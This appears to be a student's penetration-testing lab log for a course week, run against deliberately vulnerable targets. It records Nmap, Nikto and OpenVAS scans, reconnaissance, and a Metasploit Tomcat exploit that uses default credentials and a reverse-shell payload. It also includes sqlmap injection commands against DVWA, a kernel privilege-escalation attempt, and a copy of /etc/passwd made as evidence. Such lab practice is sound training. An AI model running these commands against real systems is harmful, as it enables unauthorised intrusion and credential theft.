



Day 1: Vulnerability Scanning Lab

1. Nmap Scan (Full Service & Script Scan)

Command Executed:

Bash

```
nmap -sV -sC -O 192.168.56.102 -oN metasploitable_scan.txt
```

Objective: Identify active hosts, discover running services, determine operating system, and run default NSE scripts to detect immediate vulnerabilities.

Sample Scan Results Table (Excerpt)

Scan ID	Vulnerability	CVSS Score	Priority	Host
001	SQL Injection (Generic)	9.1	Critical	192.168.56.102
002	Open Port 445 (SMB)	6.5	Medium	192.168.56.102

Export to Sheets

2. Nikto Web Scan

Command Executed:

Bash

```
nikto -h http://192.168.56.102 -o nikto_results.txt
```

Objective: Audit the web server configuration (port 80) for known misconfigurations, outdated software, and common files/directories.

3. OpenVAS Scan

Target & Configuration:

- **Target:** 192.168.56.102
- **Scan Type:** Full & Fast



Deliverables:

- Export results as **PDF**
- Add to **GitHub repository**

4. Document Findings

All findings were recorded in a structured table format, including CVSS score, priority, and host IP address.

Day 2: Reconnaissance Practice (External Targets)

1. WHOIS Lookup

Command Executed:

Bash

```
whois testphp.vulnweb.com
```

2. Subdomain Enumeration (Sublist3r)

Command Executed:

Bash

```
sublist3r -d testphp.vulnweb.com -o subdomains.txt
```

3. Technology Identification

*Tool used: **Wappalyzer Chrome extension***

Objective: Identify the web application framework, server software, and client-side libraries used by the domain.

Recon Log Table

Timestamp	Tool	Finding
2025-08-18 10:00	WHOIS	Registrar info



2025-08-18 10:20 Sublist3r dev.example.
com

2025-08-18 10:30 Shodan Exposed SSH

Export to Sheets

🌟 Day 3: Exploitation (Metasploitable2 & DVWA)

1. Tomcat Manager Deployment Exploitation

This targets the weak default credentials often found on Apache Tomcat instances running on Metasploitable2.

Commands Executed (in msfconsole):

```
Bash
use exploit/multi/http/tomcat_mgr_deploy
set RHOSTS 192.168.56.102
set RPORT 8180
set HttpUsername tomcat
set HttpPassword tomcat
set PAYLOAD java/shell_reverse_tcp
set LHOST 192.168.56.103
set FingerprintCheck false
run
sessions -i 1
whoami
hostname
id
uname -a
ls -l /
pwd
```

2. SQL Injection (DVWA)

This targets the DVWA application configured on the testing VM.



Commands Executed (sqlmap):

Bash

```
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \  
--cookie="security=low; PHPSESSID=699f68c543edf0be1fd4e2fb52d2f3be" \  
--dbs
```

```
sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" \  
--cookie="security=low; PHPSESSID=699f68c543edf0be1fd4e2fb52d2f3be" \  
-D dvwa --tables
```

Exploit Table

Exploit ID	Description	Target IP	Status	Payload
004	SQL Injection (DVWA)	127.0.0.1	Success	sqlmap dump

Export to Sheets

Injection Types Identified:

- Time-based blind
- UNION query
- Boolean-based

Day 4: Privilege Escalation Attempt & Evidence

1. Metasploit Local Exploit (Privilege Escalation)

Attempting to gain root privileges from the exploited Tomcat session using a known local kernel vulnerability.

Commands Executed (in msfconsole):

Bash

```
use exploit/linux/local/udev_netlink  
set SESSION 1  
run
```



Note: The attempt was documented, noting that the exploit often fails on Metasploitable2's kernel version, validating the need for kernel patch management.

2. Evidence Collection

Collecting cryptographic evidence of a file read post-exploitation.

Commands Executed (in compromised shell):

Bash

```
cp /etc/passwd /tmp/passwd_copy.txt
```

```
ls -l /tmp/passwd_copy.txt
```

```
sha256sum /tmp/passwd_copy.txt
```

Evidence Table

Item	Description	Collect ed By	Date	Hash
Config File	passwd_copy.txt	Analyst	21-11-2025	c5d69d15c7f507704871eadb748036968e6399c881bf607e7d21f43e57bdc004

Export to Sheets

Final Notes for Repository

- **Screenshots:** Include screenshots for all critical steps (Nmap completion, Nikto summary, successful Tomcat deployment, whoami output, and the failed Privilege Escalation attempt).
- **Documentation:** Maintain a structured table for scan results, exploits, and evidence.
- **Submission:** All outputs should be added to the GitHub repository under the Week 2 folder.